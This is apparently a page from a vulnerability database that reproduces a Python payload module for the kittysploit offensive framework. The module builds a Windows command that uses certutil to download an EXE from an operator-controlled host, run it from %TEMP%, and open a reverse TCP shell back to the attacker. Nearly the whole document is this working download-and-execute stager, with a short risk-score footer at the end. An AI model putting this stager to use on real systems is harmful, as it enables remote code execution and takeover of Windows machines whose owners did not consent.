Windows Download Stager, certutil EXE (reverse TCP)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.c2.download_stagers import build_certutil_download_exec, build_stager_url
class Module(Payload):
__info__ = {
"name": "Windows Download Stager, certutil EXE (reverse TCP)",
"description": (
"Downloads a hosted Windows EXE via certutil and executes it. "
"Build the EXE with payloads/singles/cmd/multi/python_thin_stager "
"(set compile_exe=true), host on stager_port as stager.exe."
),
"category": PayloadCategory.CMD,
"platform": Platform.WINDOWS,
"listener": "listeners/multi/reverse_tcp",
"handler": Handler.REVERSE,
"session_type": SessionType.SHELL,
}
lhost = OptString("127.0.0.1", "Callback host (for URL hint)", True)
lport = OptPort(4444, "Callback port embedded in EXE", True)
stager_url = OptString("", "Full URL of hosted EXE", False)
stager_port = OptInteger(8000, "Operator HTTP port when stager_url is empty", False, advanced=True)
dest_path = OptString("%TEMP%\\ks.exe", "Local path for downloaded EXE", False, advanced=True)
def generate(self):
url = str(self.stager_url or "").strip()
if not url:
url = build_stager_url(str(self.lhost), int(self.stager_port or 8000), "/stager.exe")
print_info(f"stager_url not set — using {url}")
return build_certutil_download_exec(url, str(self.dest_path or "%TEMP%\\ks.exe"))
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08 Aug 2026 21:48Current
5.9Medium risk
Vulners AI Score5.9